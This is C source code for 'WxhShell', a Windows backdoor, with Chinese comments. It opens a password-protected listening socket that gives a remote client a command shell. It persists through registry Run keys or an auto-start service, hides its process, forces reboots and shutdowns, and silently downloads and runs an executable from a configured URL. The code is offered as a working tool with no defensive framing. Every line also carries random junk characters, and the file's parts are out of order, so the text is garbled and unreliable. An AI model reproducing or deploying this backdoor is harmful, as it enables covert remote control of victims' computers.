    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b>} )G7b}  
    if(Boot(SHUTDOWN)) iQiXwEAi[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cA90FqUH  
    else { Yqt~h  
    closesocket(wsh); Yic4|N?u  
    ExitThread(0); Gy'/)}}Z  
    } =ATQ2\T$m  
    break; =6qSo @  
    } K@"B^f0mU  
  // 获取shell >G vd?r  
  case 's': { $?OQtz@  
    CmdShell(wsh); #zb67mg~  
    closesocket(wsh); M2qor.d  
    ExitThread(0); P;IM -]  
    break; W$gjcsv  
  } (|tR>R.Wxg  
  // 退出 sv!6z Js  
  case 'x': { [|C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z gxMDLH  
    CloseIt(wsh); MiMDEe%f%  
    break; 9SU/ 86|N  
    } >5t]Zlb`  
  // 离开 pT:6A[&  
  case 'q': { N=@8~{V.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3Z}KRsp3  
    closesocket(wsh); PoRP]Q*n  
    WSACleanup(); 4`?WdCW8  
    exit(1); 'SWK{t \4  
    break; +a+DiD>./  
        } v#5hK<9  
  } 8'Q&FW3"  
  } ,jy9\n*<t9  
Q_k'7Z\g$  
  // 提示信息 Z v 7}C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]-OF3+l4  
} zpcO7AY~  
  } @|d`n\%x  
j:2*hF!E  
  return; l% {<+N  
} d @b ]/  
e,*@+E\4  
// shell模块句柄 ;"NW= P&  
int CmdShell(SOCKET sock) J(,{ -d-E  
{ a0`(* #P  
STARTUPINFO si; "~08<+  
ZeroMemory(&si,sizeof(si)); c$;Cpt@-j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; byk9"QeY\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {@t6[g++  
PROCESS_INFORMATION ProcessInfo; '*K%\]  
char cmdline[]="cmd"; CI|#,^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c <X( S  
  return 0; [3v&j_  
} OXV9D:bIa  
G~f|Sx  
// 自身启动模式 22EI`}"J  
int StartFromService(void) b C"rQJg  
{ k !g%vx  
typedef struct ca'c5*Fs  
{ o"qG'\x  
  DWORD ExitStatus; j__l'?s  
  DWORD PebBaseAddress; lQVK~8t3  
  DWORD AffinityMask; 75c\.=G9q<  
  DWORD BasePriority; TTSq}sb}  
  ULONG UniqueProcessId; Ge*N%=MX 8  
  ULONG InheritedFromUniqueProcessId; 4B-+DH>{6  
}   PROCESS_BASIC_INFORMATION; Fw%S%*B8g  
e#ne5   
PROCNTQSIP NtQueryInformationProcess; Gr~J-#a3~D  
n?v$C:jLN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }Gd^r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rxeOT# N}  
uAV-wc  
  HANDLE             hProcess; D!V*H?;U  
  PROCESS_BASIC_INFORMATION pbi; @:P:`Zk  
~mT([V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X D \;|  
  if(NULL == hInst ) return 0; q)RTy|NJ^  
`OWwqLoeA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %eJE@$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L#MMNc+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0w6"p>s>c  
2-rfFqpe  
  if (!NtQueryInformationProcess) return 0; F441K,I  
odTIz{9qG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); stq%Eg?  
  if(!hProcess) return 0; lkQ(?7  
9i!|wkx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W'5c%SI  
KWn.  
  CloseHandle(hProcess); :?\Je+iA  
a=*JyZ.2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KtaoU2s  
if(hProcess==NULL) return 0; F7`[r9 $  
T{*!.+E  
HMODULE hMod; PLK;y  
char procName[255]; GO6uQ};  
unsigned long cbNeeded; s 5F?m  
(5)DQ 1LaF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9@YhAj  
xepp."O  
  CloseHandle(hProcess);  SB^xq  
+QEiY~i  
if(strstr(procName,"services")) return 1; // 以服务启动 F>aaUj  
}J_#N.y  
  return 0; // 注册表启动 #$u7:p [t  
} ^dKtUH/78G  
lR5k1J1n  
// 主模块 P?<G:]W  
int StartWxhshell(LPSTR lpCmdLine) 2Gn26L 5  
{ B\quXE)  
  SOCKET wsl; 1j!{?t ?  
BOOL val=TRUE; k}e~xbh-y  
  int port=0; #6 M3BF  
  struct sockaddr_in door; cTdX'5  
q)y<\cEO  
  if(wscfg.ws_autoins) Install(); e^-CxHwA-  
~L9I@(/ S  
port=atoi(lpCmdLine); ;x-]1xx_  
 $kY ]HI  
if(port<=0) port=wscfg.ws_port; \C"hL(4-  
BB? 4>#D  
  WSADATA data; m@g9+7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EskD)Sl   
OTWp,$YA=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @}_Wl<kn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z':w X  
  door.sin_family = AF_INET; %kV #UzL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z (C0+A\  
  door.sin_port = htons(port); bfKF6  
=dY!-#yg!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { + y|Q7+  
closesocket(wsl); B5!|L)7>{p  
return 1; "IRF^1 p  
} T0%l$#6v  
otdm r w|  
  if(listen(wsl,2) == INVALID_SOCKET) { />V& OX `  
closesocket(wsl); |) CfO4  
return 1; A0H6}53, $  
} NoT%z$ 1n  
  Wxhshell(wsl); Dn+hI_"# _  
  WSACleanup(); >]ZW.?1h  
uQz!of%x  
return 0; 1F{,Zr  
;~(yv|f6  
} ]eo%eaA   
>4nQ&b.u  
// 以NT服务方式启动 B;J8^esypD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b}Xh|0`b+  
{ nc.:Wm6Mj  
DWORD   status = 0; |_%q@EID  
  DWORD   specificError = 0xfffffff; T< o8lL  
*JiI>[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >yqFO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I"HA( +G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X> U _v  
  serviceStatus.dwWin32ExitCode     = 0; 0G(|`xG1q  
  serviceStatus.dwServiceSpecificExitCode = 0; oVIc^yk5a  
  serviceStatus.dwCheckPoint       = 0; RdLk85<n  
  serviceStatus.dwWaitHint       = 0; `':G92}#  
 OF O,5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mD;ioaE  
  if (hServiceStatusHandle==0) return; g\G}b  
xi15B5 _Ps  
status = GetLastError(); !Mj28  
  if (status!=NO_ERROR) 3% O[W  
{ Lm'+z97  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =s,}@iqNO4  
    serviceStatus.dwCheckPoint       = 0; ? w@)3Z=u  
    serviceStatus.dwWaitHint       = 0; 9~4@AGL  
    serviceStatus.dwWin32ExitCode     = status; QNGp+xUHJ9  
    serviceStatus.dwServiceSpecificExitCode = specificError; !3 zN [@w,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ceew~n{  
    return; $ <Mf#.8%  
  } jm,cVo  
Jj~|2Zt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .a9f)^  
  serviceStatus.dwCheckPoint       = 0; N@V:nCl  
  serviceStatus.dwWaitHint       = 0; LU+}iA)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q 6dqFnz  
} a( SJ5t?-2  
NF'<8{~  
// 处理NT服务事件,比如:启动、停止 _Oy;:XN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N,4hh?  
{ O[F  
switch(fdwControl) #hXxrN  
{ R_Z 9aQ  
case SERVICE_CONTROL_STOP: TVAa/_y2`  
  serviceStatus.dwWin32ExitCode = 0; \W 7pSV-U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t@q==VHF  
  serviceStatus.dwCheckPoint   = 0; DY1"t7 9E  
  serviceStatus.dwWaitHint     = 0; Hh* KcIRX  
  { UHBMl>~z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?b\oM v5y  
  } Z=(Tq1t  
  return; qI*7ToBJ  
case SERVICE_CONTROL_PAUSE: 0N_u6*@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ku GaOO  
  break; =4gPoS  
case SERVICE_CONTROL_CONTINUE: |2Uw8M7.E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3e)$<e  
  break; _=HNcpDA;0  
case SERVICE_CONTROL_INTERROGATE: Gyb|{G_  
  break; bfI= =  
}; >{>X.I~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ?Zc(Zy6  
} 3zMaHh)mj  
)C0d*T0i  
// 标准应用程序主函数 J>1%* Tz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C@u}tH )  
{ Op:$7hv  
Bv#?.0Ez;  
// 获取操作系统版本 "%#CMCE|f  
OsIsNt=GetOsVer(); 5E =!L g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &.P G2f*  
HF*j=qt!  
  // 从命令行安装 vK$wc~  
  if(strpbrk(lpCmdLine,"iI")) Install(); aev(CY,z  
] U,m 1  
  // 下载执行文件 ^7YZ>^  
if(wscfg.ws_downexe) { S{N=9934_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ey{p;;H  
  WinExec(wscfg.ws_filenam,SW_HIDE); SNSHX2  
} gi$'x^]#  
#x \YA#~  
if(!OsIsNt) { 2x~Pq_?y  
// 如果时win9x,隐藏进程并且设置为注册表启动 M,<UnAVP-  
HideProc(); aI 1tG  
StartWxhshell(lpCmdLine); FmgMd)#  
} ZtY?X- 4_  
else ~Gl5O`w(  
  if(StartFromService()) FT!Xr  
  // 以服务方式启动 0 gR_1~3  
  StartServiceCtrlDispatcher(DispatchTable); S }qGf%  
else rA}mp]  
  // 普通方式启动 k+~2 vmS  
  StartWxhshell(lpCmdLine); -K/c~'%'*  
f6 s .xQ  
return 0; 9U Hh#  
} * bUOd'vh  
0bOT&Z^  
ua,!kyS  
*'@ sm*  
=========================================== QwL*A `@  
25<qo{  
$GYy[8{:V  
Nw1Bn~yx<R  
3AAciMq}  
2a*+mw  
" >X*Y jv:r  
\{v-Xe&d^  
#include <stdio.h> lv+: `   
#include <string.h> uZ'(fnZ$  
#include <windows.h> ^DVryeLD  
#include <winsock2.h> e$E>6Ngsr  
#include <winsvc.h> jwSPLq%  
#include <urlmon.h> p-H}NQ\  
T[MDjhv'  
#pragma comment (lib, "Ws2_32.lib") tToP7q^  
#pragma comment (lib, "urlmon.lib") \UZ7_\  
O`T_'.Lk  
#define MAX_USER   100 // 最大客户端连接数 ^fmuBe}d{  
#define BUF_SOCK   200 // sock buffer $i1:--~2\  
#define KEY_BUFF   255 // 输入 buffer Z+=-)&L  
I@TH^8(  
#define REBOOT     0   // 重启 N1"p ;czK  
#define SHUTDOWN   1   // 关机 M>xT\  
4'Y a-x x  
#define DEF_PORT   5000 // 监听端口 taMcm}*T1  
a)I>Ns)  
#define REG_LEN     16   // 注册表键长度 pJuD+v  
#define SVC_LEN     80   // NT服务名长度 [~c_Aa+6N  
"Y@q?ey[1  
// 从dll定义API ).-#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1 hD(l6tG@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PcI~,e%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V Ds0+RC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q\N >W+d  
2#N?WlYw<S  
// wxhshell配置信息 N 6> rU  
struct WSCFG { n3j_=(  
  int ws_port;         // 监听端口 w| ahb  
  char ws_passstr[REG_LEN]; // 口令 !M(SEIc4A  
  int ws_autoins;       // 安装标记, 1=yes 0=no ! Y&]Y G  
  char ws_regname[REG_LEN]; // 注册表键名 +O^}  t  
  char ws_svcname[REG_LEN]; // 服务名 u?F.%j-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AnK X4Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ./^8L(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QL*RzFAD 3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (G(M"S SC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >XX93  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `I(ap{  
|;&I$'i  
}; | GN/{KH]  
'p@m`)Z  
// default Wxhshell configuration )0g!lCfb  
struct WSCFG wscfg={DEF_PORT, q$"?P  
    "xuhuanlingzhe", .`(YCn?\  
    1, .1z=VLKF'  
    "Wxhshell", .zTkOk L  
    "Wxhshell", Fk9]u^j  
            "WxhShell Service", $wDSED -  
    "Wrsky Windows CmdShell Service", |*M07Hc x  
    "Please Input Your Password: ", 9e.$x%7j  
  1, ^%tn$4@@Z.  
  "http://www.wrsky.com/wxhshell.exe", %e)? Mem  
  "Wxhshell.exe" 5\h6'  
    }; yXqC  
T#i~/  
// 消息定义模块 <":83RCS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .gt;:8fw{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e)m6xiZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xM@s`s|n  
char *msg_ws_ext="\n\rExit."; ]9c{qm}y  
char *msg_ws_end="\n\rQuit."; Mpco8b-b  
char *msg_ws_boot="\n\rReboot..."; G~ LQM  
char *msg_ws_poff="\n\rShutdown..."; @"wX#ot  
char *msg_ws_down="\n\rSave to "; (!qfd Qq#  
C6h[L  
char *msg_ws_err="\n\rErr!"; :qzh kKu  
char *msg_ws_ok="\n\rOK!"; mn*}U R  
PZO.$'L|7  
char ExeFile[MAX_PATH]; %oWG"u  
int nUser = 0; \DWKG~r-%  
HANDLE handles[MAX_USER]; )>"pm {g2  
int OsIsNt; _~*j=XRs  
v#`>  
SERVICE_STATUS       serviceStatus; %9J:TH9E)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |_QpB?b  
d1D=R8P_u  
// 函数声明 qq3/K9 #y  
int Install(void); ?%#no{9  
int Uninstall(void); ]&9=f#k%  
int DownloadFile(char *sURL, SOCKET wsh); R%q:].  
int Boot(int flag); ] SLeWs  
void HideProc(void); AEDBr<  
int GetOsVer(void); 6y57m;JW/  
int Wxhshell(SOCKET wsl); (ti!Y"e2  
void TalkWithClient(void *cs); o*2Mjd]r  
int CmdShell(SOCKET sock); #p]V?  
int StartFromService(void); uy~$ :0o  
int StartWxhshell(LPSTR lpCmdLine); IKaW],sr#  
BPm" )DMo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~wOMT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zsmv{p  
N9s.nu  
// 数据结构和表定义 _8-T?j**   
SERVICE_TABLE_ENTRY DispatchTable[] = /3 VO!V]u  
{ PgHmOs  
{wscfg.ws_svcname, NTServiceMain}, "5'eiYm s  
{NULL, NULL} _wX(OB  
}; 3<N2ehi?  
{v|ib112;  
// 自我安装 )X:Sfk  
int Install(void) og~a*my3  
{ 3x 7fa^umR  
  char svExeFile[MAX_PATH]; 5rc3jIXc{|  
  HKEY key; o iC@ /  
  strcpy(svExeFile,ExeFile); !&3"($-U3G  
R lbJ4`a  
// 如果是win9x系统,修改注册表设为自启动 EyA(W;r.  
if(!OsIsNt) { qR_Np5nHF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Kp$/CYd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9_.pLLx  
  RegCloseKey(key); @F*z/E}e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3orL;(.G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5|>ms)[RQ  
  RegCloseKey(key); i )$+#N  
  return 0; j]` hy"  
    } ~D`R"vzw=  
  } uFhPNR2l  
} jTZi< Y:bB  
else { Ciz,1IV  
ShvC4Xb 0  
// 如果是NT以上系统,安装为系统服务 o|c&$)m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5wE6gRJ  
if (schSCManager!=0) jC$~m#F  
{ O '`|(L  
  SC_HANDLE schService = CreateService %++S;#)~  
  ( Da!vGr  
  schSCManager, qs= i+  
  wscfg.ws_svcname, gg8)oc+w  
  wscfg.ws_svcdisp, y4aT-^C'  
  SERVICE_ALL_ACCESS, %e)vl[:}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x\yr~$}(J  
  SERVICE_AUTO_START, ;]=@;? 9  
  SERVICE_ERROR_NORMAL, JUXBMYFus  
  svExeFile, !0|&f>y  
  NULL, L<XX?I\p  
  NULL, #7]>ozKm  
  NULL, r'_#rl  
  NULL, z4` :n.  
  NULL u$aN~6HG  
  ); 6W3."};  
  if (schService!=0) +lZ-xU1  
  { Eza^Tbq%j?  
  CloseServiceHandle(schService); Z=;=9<vA  
  CloseServiceHandle(schSCManager); e%4vvPp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {f*{dSm9b  
  strcat(svExeFile,wscfg.ws_svcname); m!!;CbPo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "*V'   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t6kLZ  
  RegCloseKey(key); TDy)A2Z  
  return 0; k`]76C7  
    } Zy{hYHQ  
  } _ouZd.  
  CloseServiceHandle(schSCManager);  | z_av  
} w^n&S=E E~  
} =knLkbiq7,  
YcR: _ac  
return 1; nw_|W)JVQ  
} $Fy~xMA8O  
2`ERrh^i"  
// 自我卸载 M9Yov4k,4]  
int Uninstall(void) aHI~@  
{ I")Ud?v0)  
  HKEY key; s?nj@:4  
3UZ_1nY  
if(!OsIsNt) { 4`cfFowK~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {ehYE^%N  
  RegDeleteValue(key,wscfg.ws_regname); x^Qij!mB%  
  RegCloseKey(key); t\!5$P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RZSEcRlN  
  RegDeleteValue(key,wscfg.ws_regname); iEy2z+/"^  
  RegCloseKey(key); J p%J02  
  return 0; UYQ@ub  
  } /k^j'MMQs6  
} 6z/&j} (  
} 9ao?\]&t  
else { f(K1 ,L:&7  
;ByCtVm2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O8rd*+  
if (schSCManager!=0) |Xd& aQ  
{ sk0/3X*Q%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vp d!|/  
  if (schService!=0) 3+:NX6Ewb*  
  { ~)X;z"y%b  
  if(DeleteService(schService)!=0) { |8x_Av0  
  CloseServiceHandle(schService); i12G\Ye  
  CloseServiceHandle(schSCManager); = 1d$x:  
  return 0; Et}%sdS  
  }  #.Ly  
  CloseServiceHandle(schService); '=Jz}F <  
  } >qGWDCKr  
  CloseServiceHandle(schSCManager); 20`XklV  
} L]BTX]  
} >SYOtzg%  
P>x88M  
return 1; 7ruWmy;j  
} >Yv#t.!  
c\tw#;\9  
// 从指定url下载文件 Ls.g\Gl3  
int DownloadFile(char *sURL, SOCKET wsh) /8hjs{(;  
{ V2tA!II-s  
  HRESULT hr; p!?7;  
char seps[]= "/"; oW(8bd)  
char *token; q?L*Luu+  
char *file;  wJvk  
char myURL[MAX_PATH]; G`;mSq6i  
char myFILE[MAX_PATH]; F%{z E ANm  
~Sd,Tu%:  
strcpy(myURL,sURL); 5VfpeA `  
  token=strtok(myURL,seps); y4!fu<[i  
  while(token!=NULL) o5Knot)Oy  
  { $D f1t  
    file=token; +s [_ 4  
  token=strtok(NULL,seps); uHDUuK:Ur  
  } m^)\P?M5|  
fKuaom9  
GetCurrentDirectory(MAX_PATH,myFILE); ypfjF@OT  
strcat(myFILE, "\\"); nRX<$OzTV  
strcat(myFILE, file); 3z8zZ1uzU  
  send(wsh,myFILE,strlen(myFILE),0); l|9'l[}&  
send(wsh,"...",3,0); f\~w!-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xu;^F  
  if(hr==S_OK) PM {L}tEQ  
return 0; :X*uE^bH  
else l?;ReK.r  
return 1; y92<(ziaX)  
u9+)jN<Yh  
} [~Z#yEiW^  
_tO2PI L@Z  
// 系统电源模块 r&L1jT.  
int Boot(int flag) 0nlh0u8#  
{ z:{R4#(Q  
  HANDLE hToken; tfe'].uT  
  TOKEN_PRIVILEGES tkp; A+3=OBpkW0  
O9{A)b!HB  
  if(OsIsNt) { ^AUQsRA7PZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H"2,Q T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HI)U6.'  
    tkp.PrivilegeCount = 1; i l%9j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _b=})**  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x6=tS  
if(flag==REBOOT) { VC!g,LU|-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b1ZHfe:  
  return 0; qEjsAL  
} CR|>?9V  
else { `R$bx 64  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {Z[kvXf"mZ  
  return 0; ):Ekf2  
} s: MJ{r(s  
  } $5>x)jr:w+  
  else { ,z0E2  
if(flag==REBOOT) { +6Vu]96=KC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F0Z cV>j}  
  return 0; mOYXd,xd  
} 9x9E+DG#(  
else { +Pn`AV1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k_%maJkXp  
  return 0;  6AmFl<  
} l02aXxT)]  
} P$G|o|h  
W8!8/ IZbN  
return 1; lx~mn~;x  
} lt}U,p,S  
ra\|c>[%  
// win9x进程隐藏模块 I,lzyxRP  
void HideProc(void) An !i  
{ NW Pd~l+  
.GPuKP|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h3A|nd>\  
  if ( hKernel != NULL ) j;*= ^s  
  {  aK9zw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MK4CggoC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5d82Ms  
    FreeLibrary(hKernel); f<3r;F7  
  } 0 f"M-x  
#DH eEE  
return; niM(0p  
} t]pJt  
:SpPT  
// 获取操作系统版本 !myF_cv}'  
int GetOsVer(void) fP1fm  
{ mDU-;3OqF  
  OSVERSIONINFO winfo; qk(u5Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *(<3 oIRS  
  GetVersionEx(&winfo); dtq]_HvTJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yAVt[+0  
  return 1; ~9+\  
  else k+cHx799  
  return 0; cGjkx3l*  
} eD 7Rv<  
W-ECmw(  
// 客户端句柄模块 rYr.mX  
int Wxhshell(SOCKET wsl) cNqw(\rr  
{ {eo?vA8SE  
  SOCKET wsh; /?QBMI  
  struct sockaddr_in client; oI%.oP}G  
  DWORD myID; :~9F/Jx  
w9a6F  
  while(nUser<MAX_USER) MT@Uu  
{ GD .>u  
  int nSize=sizeof(client); 93#wU})  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &Lgi  
  if(wsh==INVALID_SOCKET) return 1; MMUw+jM4  
#Y<b'7yJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b ~FmX  
if(handles[nUser]==0) aD3Q-a[  
  closesocket(wsh); KHXnB  
else pG:)u cj  
  nUser++; u@zBE? g  
  } r7p>`>_Q\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zL3'',Ha  
doaqHri\,  
  return 0; S-+^L|  
} meV RdQ  
1YMu\(  
// 关闭 socket x; *KRO  
void CloseIt(SOCKET wsh) bwh.ekf8  
{ qT L@N9  
closesocket(wsh); !b+Kasss9  
nUser--; D<cHa |  
ExitThread(0); V]9 ?9-r  
} 3bPvL/\Lb  
~UJ_Rr54  
// 客户端请求句柄 KcjP39@I  
void TalkWithClient(void *cs) I*K~GXWs#  
{ n _*k e  
pc%_:>  
  SOCKET wsh=(SOCKET)cs; 1 {V*(=Tp  
  char pwd[SVC_LEN]; xTL"%'|  
  char cmd[KEY_BUFF]; SLc'1{  
char chr[1]; 07+Qai-]  
int i,j; D*j\gI  
QRv2%^L  
  while (nUser < MAX_USER) { r yO\$m  
4m6E~_:F  
if(wscfg.ws_passstr) { F 'U G p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @YTZnGG*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bXiT}5mJU  
  //ZeroMemory(pwd,KEY_BUFF); j7 D\O  
      i=0; zW^@\kB0D  
  while(i<SVC_LEN) { NUH#  
9_ GR\\  
  // 设置超时 cv["Ps#;`W  
  fd_set FdRead; aNCIh@m~  
  struct timeval TimeOut; wy$9QN  
  FD_ZERO(&FdRead); lH^[b[  
  FD_SET(wsh,&FdRead); R@r"a&{/  
  TimeOut.tv_sec=8; m.p{+_@M&  
  TimeOut.tv_usec=0; 8+ 1t ys  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7>J8\=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #\$R^u]!  
Ui 7S8c#tH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u1&pJLK0[  
  pwd=chr[0]; Ij}RlYQz  
  if(chr[0]==0xd || chr[0]==0xa) { ~$i36"  
  pwd=0; ]W%<<S  
  break; ?c^0%Op  
  } 2@aVoqrq#  
  i++; K/jC>4/c/  
    } {@oYMO~  
LQs2!]?HT  
  // 如果是非法用户,关闭 socket 6nRD:CH)X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i9oi}$;J  
} pVt8z|p_;{  
T?c:z?j_9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >_]j{}~\k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,!3G  
Kuy,qZv!"  
while(1) { P/?`  
"el}@  
  ZeroMemory(cmd,KEY_BUFF); TCFx+*fBd  
Xb=9~7&,$  
      // 自动支持客户端 telnet标准   o+(.Pb  
  j=0; B&yb%`9],W  
  while(j<KEY_BUFF) { ;X! sTs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [(Pm\o  
  cmd[j]=chr[0]; @twClk.s  
  if(chr[0]==0xa || chr[0]==0xd) { (yCF pb  
  cmd[j]=0; 8|w_PP1oE  
  break; iP;X8'< BC  
  } 0zaE?dA]  
  j++; (<pc4#B@*  
    } =$IjN v(?  
40oRO0p  
  // 下载文件 m-UI^M,@<  
  if(strstr(cmd,"http://")) { [dL4u^]{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :0j9  
  if(DownloadFile(cmd,wsh)) 2*5Z| 3aX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~w'M8(  
  else |b52JF ",  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Xnu("w)  
  } E[>4b7{g:  
  else { `6b!W0$ -  
}r6SV%]:  
    switch(cmd[0]) { HP2]b?C  
